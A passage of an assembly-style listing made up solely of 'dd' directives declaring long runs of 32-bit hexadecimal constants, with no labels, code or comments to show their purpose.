		dd 12222B53h, 5BAF02CCh, 3C98EA2Eh, 8778E6B1h, 0A5798D05h
		dd 0CCA8D502h, 47E34B1Ah, 1E77E3E8h, 0D307C812h, 8F1CE50h
		dd 584936Bh, 0D2602D27h, 0A6CDD9F0h, 0FB8763BAh, 0DCE25906h
		dd 0C98E58Ah, 0A320D4D2h, 97F88450h, 0E6CD49B6h, 86A5C69Fh
		dd 77A33A66h, 654F42EAh, 87E56826h, 5F6D78B5h, 0BC88DEE0h
		dd 652D5888h, 9F42BD9Ch, 28A2027Ch, 8AEF4FFBh, 1D6E6E92h
		dd 40558D05h, 5902E1FCh, 8771D23Ah, 4EC62F6Fh, 7E467B84h
		dd 3AC11EF4h, 638C97C9h, 7AC2C849h, 635EECC7h, 248C314Bh
		dd 5B9C5540h, 0A1B79B95h, 0D694D0C5h, 0FE8DC3BEh, 61BD067Fh
		dd 25BA2DDFh, 7060CB0Bh, 0D125EE2Dh, 1124D5B8h,	967C1564h
		dd 902B4609h, 2F5C21E6h, 6DBB3B46h, 88893F19h, 234D915Eh
		dd 211364FCh, 75B9EF9Eh, 0D8C70FE6h, 0FEA70855h, 68247A5Eh
		dd 394D6E18h, 1045A34Eh, 1EFE4A84h, 2ECBF028h, 38292D3Eh
		dd 0D14306A7h, 176530CEh, 0CC6D7E4Ch, 86CED48Ah, 0D1E9C739h
		dd 8EB594A8h, 464EA911h, 0F56C157Fh, 9AF6BE3Ah,	2D9EDE14h
		dd 34EFCE0Bh, 6D9A8D80h, 5C915FBEh, 28E06FD5h, 0F5F0CADEh
		dd 6AC0C10Dh, 66FCA751h, 0EA2010F2h, 8038D2E9h,	0F71599D2h
		dd 7E66D4FBh, 7C40C791h, 7D58BFE1h, 0F88F2B6Dh,	8D5E812Dh
		dd 0E976945Eh, 21EA1074h, 0F9F5195Ah, 0DF9275FAh, 94C1F348h
		dd 0AC80F5BEh, 4CF880A7h, 0E97BCEAAh, 5F77D642h, 1EA19323h
		dd 0DA566997h, 0B7B8B30Dh, 18C9C6ACh, 6FF3F0D9h, 0E3A5C224h
		dd 1C1B0CEFh, 832AA07h,	0E072D5BAh, 1B4C38E6h, 1350AEE8h
		dd 60D353E6h, 0A468C47Eh, 43644C93h, 0AB66DA8Fh, 95012BADh
		dd 0C23DFC44h, 0CC6AFFA3h, 0B210A3E5h, 2BDD8D47h, 6D834142h
		dd 42488066h, 8C2FA020h, 7C7D83E6h, 509F23ACh, 0F31F4353h
		dd 32B61EEFh, 44686F85h, 51A6F49Fh, 0CD0AE634h,	0DC4C8417h
		dd 4719CF67h, 480B8614h, 0C79C10E8h, 89DB44F9h,	0DB4DCA0Dh
		dd 0FDFCDDBBh, 903E75Dh, 92433EE9h, 0B739C13Eh,	0AE31C3C5h
		dd 4B00E6CAh, 22E87C5Ch, 11B52E3Bh, 1E2CA8A1h, 0EDF95530h
		dd 77351178h, 1C4EDD22h
		dd 0CAD5EE0h, 0A2021523h, 33C36762h, 4E9EF4E5h,	737437CFh
		dd 331248E1h, 0D613F781h, 7136C781h, 0A52CBA29h, 5CEC1C38h
		dd 0B7178F87h, 0E39C6801h, 0C9C61567h, 508964B4h, 44B5A054h
		dd 0CA8A8BD0h, 7A95C10Ah, 2D17C9C3h, 0AD63A3FAh, 4DEA1DA7h
		dd 2D2A7B49h, 0E85C343Ch, 0A4ECE40Ch, 0B68B11D4h, 7EF0075Ch
		dd 9D6B3429h, 71B33820h, 0A1B715A6h, 78047309h,	24F3D55Ah
		dd 8988531h, 0B808A365h, 98C596B8h, 0E2498FC7h,	0D7DC807Fh
		dd 0FFB7E49Fh, 5A1E53B9h, 1BD91987h, 17777D26h,	86EE5AFBh
		dd 9B74A841h, 0D3410899h, 0F74441FDh, 0D54FD04Ch, 3B800022h
		dd 0B4D2DD26h, 4255ED72h, 208C3275h, 5CF9DF97h,	0C42F4F9Dh
		dd 0A504CFD1h, 6309400Dh, 0A2DFB814h, 0D4E0A816h, 7A809805h
		dd 0BE39D2FCh, 6B3F29DEh, 29E470FDh, 6740F7FAh,	0DF0091B7h
		dd 790DE5BEh, 9FFAF8h, 72AE23B8h, 2D4FC9A9h, 4333A5E2h
		dd 0D098B49Ch, 88D14C40h, 0C071D687h, 304A992Ch, 167968D9h
		dd 919AA77Ch, 55B86F6Eh, 6A3A43CDh, 0DD79BB0Fh,	0AAC5B917h
		dd 0A7CC9C2Eh, 0C8715BCh, 0C97A9256h, 6EC816E3h, 5991610Bh
		dd 0A25DD6DEh, 8E0F092Bh, 0E935C7B4h, 0A0065243h, 61379792h
		dd 13D0C316h, 44EFD258h, 0C4B236B7h, 0BAFCE1C0h, 0A669F68Bh
		dd 9181E8D5h, 30BEDF18h, 0F5C7FE1Bh, 8BEF994Ch,	782AB369h
		dd 0A1F9B140h, 0C430D3CBh, 47852466h, 32A2AFF7h, 4E3A78DEh
		dd 9A9963EEh, 0A3636517h, 0FE737C37h, 3865310Fh, 0E7E3375Ch
		dd 348BF884h, 14F8545Dh, 89757731h, 0CE2DAFD2h,	0B844207Fh
		dd 7A1AE8E5h, 0BD17EF60h, 0DD21FD00h, 4E9D93C4h, 0ACD0930Ch
		dd 4EF77F04h, 0CF71C80h, 6E6B7FD6h, 8206E085h, 0D9E0EA0Bh
		dd 8A1604BBh, 0E423C553h, 3EF2421Eh, 23EE875Bh,	8C8FA9F1h
		dd 49FC817Bh, 839B8D66h, 0CFF46A51h, 46B090ECh,	0F143D978h
		dd 2F9262EFh, 0F3B6E56Dh, 348DD8FAh, 897E018Bh,	74A4F774h
		dd 97E57C5Fh, 0D3A4C0D3h, 12E7DF68h, 0F14C6906h, 5218FFA5h
		dd 23148E4Ch, 4DBD8F17h, 0FBEBC781h, 0D72E036Ch, 4E2DF89Ah
		dd 0ADB548D0h, 0FCAA5F9h, 0CE8FF1B3h, 232C20F8h, 59D8147Eh
		dd 31B86C26h, 0C8EEB31Ch, 7AADC779h, 7899AB31h,	0C920AA6Dh
		dd 0D7834006h, 94B8E3C9h, 0E3A64263h, 76318A95h, 91F19AC9h
		dd 0B33FC08Dh, 0DB473328h, 0F3F7202h, 32FA7132h, 9E5F9476h
		dd 4C9E9B91h, 0B4E3EDE7h, 63FA7BE0h, 99F7AE09h,	0B65620A4h
		dd 6BB1B8A1h, 0C1C91A11h, 3C8F7FD0h, 5262FB89h,	0FBBE0B1Dh
		dd 61D0FD1Eh, 47DD966Eh, 4C77D0F8h, 0C4F1B279h,	6AEC8B5Ch
		dd 290211DBh, 0F4915DE8h, 7844F7CBh, 79680FD6h,	0EAD9422Ch
		dd 0BFFDEE83h, 0A0C758F0h, 5A247C5Ch, 96193E05h, 0E4350E08h
		dd 0CF112EA3h, 6E88EA56h, 2ACABFFDh, 24A79411h,	89FAA2A0h
		dd 4DF2B38h, 54000379h,	7AE1B927h, 162BF0D7h, 940C14C5h
		dd 0A4007B1Bh, 0C62A33EAh, 173929C0h, 531E4788h, 3BAF77FCh
		dd 8AA87260h, 0E7B1CE75h, 5181D89Eh, 0AEF3BCE0h, 0F6BFBC34h
		dd 0DD5DB645h, 6D47B89Ah, 0E545A1B4h, 0FFC8B43Fh, 42F6E817h
		dd 427B09A1h, 9A21EB41h, 0CCF80FA6h, 0AF858164h, 0A8B2EB71h
		dd 2FB5E0DEh, 12E6DE51h, 24CA3D0Fh, 0F31E5339h,	8C441027h
		dd 40FC32EFh, 5AA5A754h, 0FDF1F952h, 6049888Fh,	7285C129h
		dd 0DC141479h, 16AF318Fh, 1ED2F87Dh, 8B1196Dh, 65E59497h
		dd 8DF1C7FCh, 16BCA51h,	78608556h, 0A62E45F4h, 0A9BAEDD9h
		dd 6FEFA6F1h, 0EAAF461Dh, 87270505h, 79046402h,	0D3D057B5h
		dd 7D08F122h, 0DCAB207Ch, 0CADA84DCh, 7862FBB8h, 295119ADh
		dd 9B93D2A5h, 0BDABCF93h, 623C676Fh, 4684BAE4h,	4EDF4C4Bh
		dd 6219E9D9h, 3E89976Ch, 40666A6Bh, 13BA83ABh, 5F64FAA2h
		dd 3EFF12BBh, 982CF1F6h, 7AA61629h, 72D6ED12h, 4A4F9FF7h
		dd 0AF1D1957h, 0E606B6BBh, 37F008E8h, 0A4F8C8F8h, 82E62D93h
		dd 4E298703h, 69EA594h,	0CFC71B3Eh, 0A6784D08h,	15D2817h
		dd 6FAFDDCCh, 0F848F94Bh, 6F8B37E9h, 1BBE541h, 0AE12E2CDh
		dd 7DA32DBDh, 3687A489h, 0ED2A176h, 53D118F3h, 0C63901E9h
		dd 6C088C98h, 10DA3C08h, 43B2C6E6h, 0CD866E29h,	9C2206DBh
		dd 8193AAC2h, 4104DB0Ch, 4A5669DAh, 82796BE4h, 2F1C5C0Fh
		dd 3A30161h, 11FA4381h,	5479CB4Ch, 94492EBh, 0E7DFBBDEh
		dd 8AB2CDD4h, 0D1A140B4h, 0EC89A9E9h, 7BE39E74h, 4C42AD44h
		dd 352AB50Fh, 23C08584h, 5D07D385h, 401AE5D0h, 0DF363EBDh
		dd 0C31C7E03h, 58955B9h, 1E27B03Ah, 0A9387AF8h,	0E391108h
		dd 5F444F37h, 6D547AEh,	0E78BD082h, 0E1E7D16Eh,	0A5E341C9h
		dd 1B6EBA46h, 0DF97EE40h, 0C8B8A696h, 0FB338175h, 0B2035A18h
		dd 790A297h, 8961007Dh,	0A570F8B2h, 5088636Eh, 6EE013F2h
		dd 0D5B0710Fh, 0A696818Eh, 94617B7Ah, 39482B3Eh, 68779691h
		dd 6559192Fh, 0B9812CDCh, 0C8AB4A45h, 0AF98FBEDh, 652699BEh
		dd 15889223h, 0AE962E77h, 0CB6ABEDDh, 81725142h, 5718ECC3h
		dd 7E7158DFh, 86E52C36h, 9A54D79Ch, 2304F194h, 0F395B2ABh
		dd 9DB40AE6h, 0C2C4A4Ah, 2607C84Ch, 32EC0814h, 0EB8ECC96h
		dd 88665092h, 0BAD55A49h, 468E7519h, 3C6EBEE4h,	0CDAC56BCh
		dd 33BFA290h, 0EE58A6C9h, 0CF5999FAh, 783EA25Ah, 0C24CA1D7h
		dd 0D31BEFDAh, 57741B21h, 2D53064Eh, 375F93A8h,	0C6C6F4A4h
		dd 0C3C64A35h, 94D2DFADh, 2953AA6Ah, 9380D105h,	322F8FF9h
		dd 65A6379Ah, 3BE0DECBh, 4B7BB017h, 0BE4111AAh,	0D1B374CBh
		dd 0CF9823B5h, 72AD8D61h, 0A7D7F88Eh, 0C33D1C82h, 0D315B13Dh
		dd 91E1269Bh, 0D1A9AC33h, 0C491AEE7h, 33302E82h, 770AA99Bh
		dd 0AD5E0E09h, 0ABD45288h, 18575D10h, 2F92F6DEh, 46991D17h
		dd 4FAC4205h, 73349B16h, 0FA331EB3h, 0FDAE8B9Bh, 8D209E2Fh
		dd 1BF3D0F0h, 36D9DC0Eh, 4C492215h, 41244BEEh, 6CB5D734h
		dd 0EBF5763Dh, 1A4D0E98h, 348980F4h, 4ABA2022h,	0C0C7E5C9h
		dd 46645840h, 8028EB25h, 0B13FC7B2h, 558B8459h,	9830AA5Eh
		dd 697FAC3Fh, 730840A1h, 96BD8A0Eh, 0A9D57E49h,	91449EE3h
		dd 0A77716B9h, 284C6EBCh, 0D0648ECEh, 5B3A14CCh, 43024530h
		dd 20A932DDh, 3BE8494Eh, 0FCEA0CB0h, 1A222BB0h,	0C7D40897h
		dd 217F80E6h, 4A3E9C79h, 8764EB47h, 1A35390Dh, 10D54AFEh
		dd 0D73C9513h, 5C29257Dh, 0E32B8322h, 0D6A32C4h, 83419742h
		dd 7D07EF19h, 0B01B06FFh, 4E165061h, 6E3AC333h,	0B2235DDDh
		dd 7A173F0Bh, 79F3A233h, 370FC94Ch, 4C8FEBF0h, 0B570019Bh
		dd 25C2A8BDh, 1A33EB04h, 71C739C2h, 0AD1B9B0Ah,	23530899h
		dd 0B5B83217h, 72F10E2Eh, 7DA9B934h, 0B7048C2h,	0B44A0147h
		dd 3DED03E3h, 0BE7CDBE8h, 33BE8495h, 0ED4CF02h,	39C9F0BFh
		dd 0FD1CB29h, 3AA4488Ah, 8BECC8E5h, 0FD053C07h,	50C301EBh
		dd 0E9DD6630h, 0EA611E13h, 0B25114B5h, 772F178h, 5A2EBADBh
		dd 223B83BCh, 0E4E0B1CCh, 0AFDA8799h, 0A540CEA8h, 602962B1h
		dd 0A7E5A2FFh, 0E5FCFA0Eh, 30263FEEh, 5BDC9DCh,	7A6A397Fh
		dd 0E818D675h, 868CACA2h, 0C63C24B7h, 749BC619h, 81EC8B3Ah
		dd 485C999Ch, 0BC8E7FC3h, 0D8AE1CD4h, 9B5AA071h, 0CF003C6Ah
		dd 7B7A204h, 0AB1C19A2h, 5734532Eh, 69EFFEB6h, 36290A50h
		dd 55AD7182h, 0FFF2B2A9h, 5940A8D2h, 2252239h, 154FC8CEh
		dd 0E69988D7h, 735D4047h, 0ABF3A402h, 0EFCDD2ADh, 0B529B45Fh
		dd 0F15CAE15h, 0FA4725B4h
		dd 4A6D46D8h, 20C90DEBh, 3042584Fh, 0A2E0689Ah,	0AFF5B902h
		dd 0F6D4D193h, 63595990h, 0D01CA8A5h, 2F0C018h,	81BBEB96h
		dd 0CD692D2Dh, 8DCE56BFh, 7A1FFC47h, 56E9935Ch,	1EBB7DF3h
		dd 850F3BDCh, 0E5EF5126h, 0D03FC8F0h, 99DF0720h, 0E271DB2Ah
		dd 7E19FA0Bh, 46B9D42Ch, 24D79EEDh, 5E7A9B00h, 67530A45h
		dd 781DE6E0h, 0B821AC2h, 0B0946E3Eh, 0DFCB26DFh, 456BC9EEh
		dd 61EA0718h, 7B6A207Fh, 5B8B001h, 0C95437FDh, 0F80FC3A4h
		dd 0F093975Dh, 0B7EA8A5h, 0E0076B71h, 6CA24F21h, 8AD7E629h
		dd 7B72D386h, 4101529Dh, 64256A22h, 9BCA8EF7h, 0ED3EC4ECh
		dd 56F4FEE8h, 58333D30h, 82AEA7EAh, 0E0287962h,	2BE294D2h
		dd 5BF573Dh, 0B1DA033h,	4E044BC5h, 0B4698D7h, 124F1634h
		dd 879C293Dh, 0D1BFC5B2h, 6B4308A2h, 0FFC92B9Ah, 6459760Ch
		dd 52219E7Bh, 41BC5D48h, 0E0DD3A88h, 0D57F58C1h, 55E1CD0Ah
		dd 0BEE97457h, 3B97C6CFh, 7663FE7Bh, 0CA237499h, 0B8229C4Ah
		dd 3CC6CEB0h, 0EAA5CFCFh, 0F51BA356h, 7C19E84Fh, 2E31137Ah
		dd 3FB69BF9h, 22C98062h, 768C1E2Fh, 0D47668ACh,	991FECC1h
		dd 58C5C835h, 92681DA0h, 0F6847C9h, 17C890EAh, 24037A6Bh
		dd 0FEFBE44Bh, 5EC4A62Bh, 0E269B09Ah, 4D50E076h, 0DCD951C7h
		dd 5EEEF323h, 955EFD79h, 9E35809h, 8B21DC22h, 0B32E2B97h
		dd 8183F547h, 0B86F173Ch, 742788F1h, 72EF1592h,	50876DFBh
		dd 0B5308080h, 601A9BCCh, 0A66EA460h, 317BE04Fh, 0E944A1C2h
		dd 0AD23CF27h, 0C77C0DAEh, 59E33088h, 0BF6D77E7h, 696023D4h
		dd 59E805EAh, 0F3C7B37h, 33D73935h, 39857111h, 7B4CDC85h
		dd 0CED019Ch, 817D4B41h, 0F998936Ah, 0D1D43632h, 5C8208D0h
		dd 448D0C4h, 0E26B3369h, 60CA0CB1h, 3457550h, 121E0C6h
		dd 7EB15B5h, 0C8E776FAh, 0A72C1F9Bh, 3E1E0806h,	78227052h
		dd 14D2A7EBh, 357DB2ADh, 0BF954F27h, 5995C551h,	0A2299426h
		dd 0C65EB1D2h, 0EFBDCC77h, 24BBECB1h, 0C45BF09Dh, 98D578BFh
		dd 3F9CBB5Ah, 5967C0A0h, 67AD1DD2h, 0EEEB7647h,	0C1A22CB1h
		dd 0D25AE3FBh, 0A9AE26B7h, 0BCD31B24h, 725522EEh, 85A9D166h
		dd 0BAC2D28h, 256DA57Ch, 5D50D147h, 94B52C5Eh, 0AA234C60h
		dd 0F3AB7285h, 0E9D91C10h, 3CFAC0C1h, 1A9776E4h, 50973843h
		dd 0BB324823h, 0C68EC8B6h, 3AB67217h, 29477BAAh, 1235D28Eh
		dd 0BCEF766Fh, 0C39C899Ch, 777BB5A6h, 8E737173h, 0D29A67C3h
		dd 0BB6CCF7Ah, 6C79792Ch, 32EC21F5h, 6788FB41h,	0FE73E1E7h
		dd 0EEBBF125h, 0CF0195CCh, 1AABD955h, 0B4A621A9h, 4F579B10h
		dd 0A0E3D930h, 0C78DB3E7h, 0D2A181A8h, 0ACCF4FEEh, 0BF5F7991h
		dd 40BBC5E5h, 0D399DE7Ch, 93B073Ch, 5B3840D2h, 5C6BE706h
		dd 49A20873h, 0FAC37753h, 0B1EB68Ch, 0EB6E9C82h, 0EE76FFFCh
		dd 0E0200393h, 109D532Dh, 763B1555h, 0F80BEDB9h, 216C8DE8h
		dd 2B15480Fh, 0AF09922Ah, 0F4A2612Ah, 0EAD399BAh, 0DB55B48Ah
		dd 1373F075h, 35207048h, 865D5FCDh, 23957622h, 0CBB24A28h
		dd 9243E7EDh, 934D65B0h, 80A4E4C7h, 1FD43F0h, 5960C95Ch
		dd 640BA590h, 584AB3D6h, 7AAF6AE8h, 372F268Ch, 12FDE91Bh
		dd 46C77AA0h, 84854850h, 0DB3869D0h, 505CFDE1h,	2D59EEE4h
		dd 24790776h, 0F3815A41h, 9294D084h, 52510EDCh,	9A951829h
		dd 718C6B51h, 40E63666h, 0C5E22325h, 0C20983B7h, 6D42B97Bh
		dd 1527E785h, 0E84C7C69h, 0FD37F8CDh, 0CBF61449h, 65A5DC9Ah
		dd 0C8EBBCFDh, 3F2D0685h, 0E57A13AFh, 79F04ECAh, 28041AEEh
		dd 3C8FF970h, 5EDBB327h, 0B53A14D4h, 8C944663h,	62EB38E4h
		dd 649FCE6Bh, 57993A87h, 0CFEC4870h, 0BA64582h,	2ECE80D0h
		dd 9529D410h, 0D0464D4h, 5E55C788h, 0B604B8Ch, 0D4756877h
		dd 202645F5h, 6B916DE2h, 0FF843B93h, 64C61C83h,	2BFF5AB3h
		dd 15367F78h, 2E0A50C0h, 0CE150AD5h, 508A5535h,	0CA3D98CFh
		dd 0B6A536B4h, 1469A816h, 81530C2Fh, 8547821Eh,	82F119DFh
		dd 85C84CEAh, 34C5114Bh, 124102Ch, 0CE6A941Dh, 0A108B3EEh
		dd 0BB45C896h, 86CC568Ah, 445CA4D1h, 1CD61DF9h,	0B3C77E48h
		dd 0A4A5DA0Ch, 298EDFF6h, 5A8E13F4h, 8AEC6B24h,	19C48E28h
		dd 60302D20h, 539648FEh, 0AF54D5C6h, 104DDCD5h,	8339BBD6h
		dd 3252E2A6h, 7D66432Eh, 3F741930h, 576FB5D6h, 0F89FC596h
		dd 0D63FA6A4h, 5609824Dh, 4E560A16h, 0FAA9E000h, 70E41E2Dh
		dd 67C3F04Ch, 0BCC8D5ABh, 0FAD709EEh, 0BC2992BBh, 8B4333B9h
		dd 825DBF19h, 0BDB0A32Dh, 57EC4AE3h, 0ECA275F0h, 1B4CB12h
		dd 0C6A42ABDh, 9CEFB61h, 0F1C819FDh, 2DE5B80h, 0C8E4998Ah
		dd 7F5175C6h, 12D571CBh, 0B495664Dh, 55469C51h,	989A674Bh
		dd 5D93D81Fh, 0FA37634Eh, 4FE83D76h, 0B1120833h, 0FBDC11E1h
		dd 0D29BE8DEh, 7248B56Dh, 0C4728EB2h, 0D545885Ah, 424132B2h
		dd 435A16D5h, 76422AA3h, 635BA0B8h, 0C1D7F3A0h,	29B5D0C5h
		dd 0F0870312h, 7F8DE23Eh, 804551D0h, 4726C325h,	710D54BBh
		dd 714158D4h, 0E4295438h, 94C94770h, 85830584h,	0FD15B1C3h
		dd 0A3E0CC6Eh, 781BB3E5h, 748C83A2h, 43CEA61Bh,	0F7038E93h
		dd 65684FF6h, 0E02379FDh, 7DB70E25h, 0D6A6DCA5h, 44D05C44h
		dd 614E9245h, 96C340C7h, 2DE7A394h, 4B9DAD7Fh, 0B01FD3A1h
		dd 22650212h, 38B61382h, 46C3DFF9h, 215CAD89h, 317BBE32h
		dd 0B79B19B9h, 27733EC3h, 0FF5749E0h, 36E6D0A1h, 0B8BBA087h
		dd 619E0889h, 654817A2h, 2A7329AAh, 6D6D6968h, 0F4BD32EDh
		dd 0DBDAA0F3h, 0B1023610h, 3E0CD09Dh, 0C1911A61h, 2DA9CAB9h
		dd 9F81F4F9h, 0F5C111B0h, 869E2FEEh, 8A35062Ch,	7CF61168h
		dd 0F7CE1998h, 0CC73D6AEh, 0D835128Bh, 99267FEDh, 457A79AAh
		dd 0C448559Dh, 33201D06h, 1E98108Dh, 0A03EEDA6h, 289FA59h
		dd 9C49D700h, 0F6A4CF36h, 21C7E034h, 75D22998h,	3C10650Dh
		dd 0B0420Ch, 6BDBEF3Dh,	4DC0E9C6h, 0CEEF26A9h, 9436744Bh
		dd 0BD15DDAh, 0C66AEA3Eh, 7014D6D4h, 0C92EE36Ch, 0B5D9245h
		dd 29AFD270h, 409D78CAh, 5293682h, 9C1CCD48h, 9821D7FFh
		dd 3793503Fh, 81B4451h,	40BB2F7h, 55BD4D38h, 485DD543h
		dd 0E53E782Fh, 0D46F9CABh, 33AABBB3h, 4038E0A7h, 0DBF22C86h
		dd 20B22D04h, 0C6F15F4Bh, 0F9530C86h, 59B1E9EBh, 0AA928642h
		dd 0A28F64DFh, 2AFF4B6Dh, 0D2BA5034h, 7524351h,	0A0C3FDCh
		dd 0CDDF5CB8h, 570B8606h, 18D088E9h, 3742CE1Bh,	88A026Eh
		dd 0A4713498h, 97D9ED9Bh, 0D321EAEAh, 0E2C8CF12h, 0B77E3D00h
		dd 639EDD46h, 956623Eh,	2060B855h, 845BD88Bh, 0EA951B45h
		dd 4E507142h, 8991F8B5h, 0D3B15C8Fh, 282E6555h,	0C4BD6B65h
		dd 298281FCh, 0C48F749Ch, 73479AB8h, 0E256152Bh, 0DF126445h
		dd 35367CA7h, 0C90FDFA5h, 0D5739023h, 95A7ED10h, 1752305h
		dd 0C6CC24D7h, 2BBCE2B2h, 0F0AF1C1Ch, 1DAA9293h, 79D2EF0Bh
		dd 0B3A74013h, 88D8F740h, 650C47CBh, 582A457Bh,	611CFE8Eh
		dd 4487E020h, 322C0A1Ah, 0D0595A6Ch, 0DEFA2980h, 9EA391C9h
		dd 68F053BCh, 46CC08B8h, 94BF10FDh, 0E40F9A14h,	0EDFEC6E3h
		dd 456B11B0h, 4415A36Dh, 0D3390A44h, 62B19445h,	0D991BCE4h
		dd 2C574C4Ch, 0FC34D37Ah, 3A99040Fh, 220CCE03h,	68AA9ED3h
		dd 0A520B1B9h, 134DB3E0h, 25B87750h, 80172567h,	91DE6638h
		dd 0B0056FBEh, 1CAB8F48h, 0B559F1FCh, 0B58FDFD5h, 2C34525Dh
		dd 0E80F9352h, 35EF8B14h
		dd 5A1D2354h, 27A3988Ah, 0A639FE07h, 7D9F880h, 0DA6645FCh
		dd 0B4A9A9AEh, 96BA6128h, 4785AD4Ch, 863AE80Fh,	785AF07Fh
		dd 0B53DE927h, 0AC733F4h, 1FE9E3A3h, 0E8F3E78Fh, 87FE1723h
		dd 0B8B5AC4Ah, 0A6D460D0h, 942662E6h, 0DEA0B0A8h, 0C6C9434h
		dd 3090E7F0h, 64D7887Eh, 0F3E5135Dh, 0BBF98724h, 1C12CD9Eh
		dd 79B80034h, 78637DEh,	6280D5DEh, 0EB506F18h, 0DB059D03h
		dd 57F09F33h, 44A78E81h, 0B5AC7ED8h, 0BE81C281h, 2A77CDB1h
		dd 3F455028h, 95D2D2A2h, 0FA15B138h, 8E68157Eh,	0A23CDF8Eh
		dd 0D4BE3E8Dh, 86CE6A31h, 0C8178513h, 7629FC29h, 5E4617Dh
		dd 8E14729Fh, 40E31B63h, 0F15E64CBh, 0AD0A04CFh, 8340DF87h
		dd 0BD9CAA36h, 6F8506B5h, 7D84937Ah, 0D8212870h, 9761C6EEh
		dd 41330EF9h, 10860A9h,	1EA1E6DFh, 1568DA16h, 0DA835C78h
		dd 6B18A415h, 0BACAD784h, 372ABA99h, 7369F2ABh,	0C783AA83h
		dd 12DAEB1Ch, 7FD7424Ah, 0C9EE9F29h, 0E81898AEh, 0C84F3658h
		dd 988A1E1Eh, 7FA52FA7h, 1EECEC45h, 6C1DE1C9h, 3015211Ch
		dd 7394CC94h, 0F67185E9h, 5563503Bh, 3FE52EF2h,	776477A9h
		dd 0C6B1FDC1h, 1CE6FE2Fh, 0C2E61734h, 6B6AD9D0h, 0F432D517h
		dd 2C4CA87h, 0A1FE3DBBh, 0B2CA5B50h, 80C71830h,	179A0E8Ch
		dd 0D25C8566h, 73E5C7F2h, 0A4310B83h, 0EC919B3Eh, 0D3B9E31h
		dd 72CAB573h, 0A6689E6Ch, 0BF508130h, 0F94F79C0h, 46D08F1Eh
		dd 0C24DE0B2h, 0A438F2ECh, 57BAF29Ah, 852138B6h, 6A864B8h
		dd 5D8726D8h, 47F483F7h, 0E1088EBCh, 0DA1F63E3h, 3658F704h
		dd 539EEE2h, 393157Ah, 0F2AEFB9Bh, 0BC391A62h, 9B7D44F8h
		dd 24E9EA1Bh, 23DBF33Ah, 7B577F7Fh, 36FA8A95h, 64F8815Ah
		dd 590B2842h, 0E5DBD905h, 2508C418h, 2DAA583Fh,	348B9B1Ah
		dd 0B391CFD0h, 4CFA307h, 0F2FAD4Bh, 0E41FBFEEh,	0E1793584h
		dd 0B36FF2DBh, 0B5068C75h, 0E68A7A33h, 416932B9h, 931551BDh
		dd 81B1A9B8h, 86D8A3D3h, 3B7B1E9Fh, 0A4097434h,	6DEDAC29h
		dd 5021B92Dh, 534E96D0h, 0B544D47Fh, 8DE22645h,	0D8CB637Eh
		dd 0F42E51F8h, 0C4268883h, 67AB9B13h, 0E47CADADh, 0EB635BD0h
		dd 0F01BCBF0h, 6E6B61B3h, 0DECB5086h, 0BF578D91h, 0A99B6466h
		dd 0D735C165h, 857A36A5h, 1B6A94E1h, 1BD46C65h,	213785FAh
		dd 21A8EC01h, 0A24548A7h, 60358AF5h, 4298D8ACh,	0DE1BFC5Fh
		dd 0E3DD02C3h, 8DA23F2Ch, 82EC0887h, 4251AF3h, 0ED7AE239h
		dd 0C2D67014h, 0B2CD8A6Dh, 0AD7C7162h, 0B24A5559h, 0F03C6C5Dh
		dd 260ABECh, 8C4D990Bh,	0E6219E87h, 236F2058h, 3D90BC6Bh
		dd 0BC60817h, 21110118h, 3CE4DDD5h, 75C36495h, 74D515Bh
		dd 9F8274F2h, 0EDAEFAC0h, 7B0904F0h, 6FF817B0h,	0FA49BBA8h
		dd 0B0CF10A4h, 739D1CF4h, 8A5A6EACh, 772C1D4Ch,	136A1738h
		dd 0CD7B7C3Ch, 0B3472511h, 0C1DDAE9h, 0AE24BD6Dh, 0D4BA95EFh
		dd 16039BE8h, 0E54FFF3Fh, 8D76E127h, 5FD899F4h,	0A0EB35FAh
		dd 1FD47380h, 0A5F8CBA4h, 0A4512F87h, 6F39ED78h, 69FD6D88h
		dd 48AEE838h, 3DFE2417h, 9D42B78Eh, 0BF4E46F8h,	0E031BC07h
		dd 95FD06C4h, 0C111E12Eh, 3DE4E2DEh, 0E95AEAE7h, 0E63DA8C2h
		dd 72986481h, 9EA430F8h, 96A8B9A6h, 48D21838h, 786C5E7Ch
		dd 999F8659h, 1E1B0CCBh, 9B5A080Bh, 0FB6BE995h,	0CA4B465Eh
		dd 2A1379F7h, 6F9BB922h, 50D5C3A4h, 1CCB3DF1h, 0A0234199h
		dd 62AA3CDAh, 26BC4178h, 0A361CDB5h, 0FD7AC5B5h, 0AAB70757h
		dd 40C2316Bh, 0BF67E054h, 0FB26705Ch, 181CCFC7h, 4B56CAEBh
		dd 0CDF043FBh, 3DEA6D47h, 33B3DB80h, 3A6F6D0Ah,	36EF673Ch
		dd 5DC7A8C7h, 3AF00F1Fh, 9E9C4E10h, 99A4DE4Fh, 99ADF6C9h
		dd 623F5545h, 0CED39285h, 5A28009Fh, 0D003D39h,	3D1E47F5h
		dd 67160BA9h, 0F1519596h, 4C2FF259h, 0D8ACA560h, 0B4760AF1h
		dd 2E2960D4h, 0AA08E47Ah, 21AA6865h, 114BBFE3h,	955AA61Eh
		dd 0B4ED2AF1h, 3DAA526Eh, 48EA4BD7h, 0B14062BCh, 1BF88411h
		dd 0ACDEEF4h, 61F7CDB3h, 30135181h, 0F96C4594h,	5D15134Ch
		dd 0B54ECEAh, 0ED12E8F7h, 6E7ECD7Dh, 358295C7h,	903EA2FDh
		dd 0FB4A609Bh, 14D2E3F5h, 6035D6D9h, 477052E6h,	5913F43Ch
		dd 0CD986BB7h, 66042244h, 90D240E1h, 46EA9D65h,	4BCCD241h
		dd 0E02A59D3h, 35EE6461h, 0C67FEF9h, 0D7B2DF5h,	0B120325Ah
		dd 0DA6C539Fh, 599C1A2h, 5AEA8D00h, 0ED5E2CAEh,	0FA76EEEBh
		dd 393612E6h, 0C01E710Bh, 0B3CA2C46h, 0FD9F232Dh, 327D49FCh
		dd 4C1620A2h, 0C6206C44h, 8EC1C3B0h, 557D0FD4h,	8AB534BAh
		dd 0E42742Bh, 0DD120E42h, 0D69B6386h, 36C1F24Ah, 0D3BB49EAh
		dd 0BFC43C70h, 22272B39h, 9F1C1CBAh, 0F279E302h, 0F47E29C9h
		dd 1D50338Fh, 932B8027h, 8B61C272h, 0CEC1F8D8h,	3A4D3DA7h
		dd 0CFAD1652h, 3C88AC4h, 37383861h, 0CF128A16h,	87FE2B81h
		dd 70CD355h, 0B4FDBC93h, 1B7CBC22h, 0EC9F0A13h,	4EBD88C7h
		dd 0EEDA6744h, 31545F02h, 2BBCA4C1h, 0B868D4D1h, 8C6CE2E3h
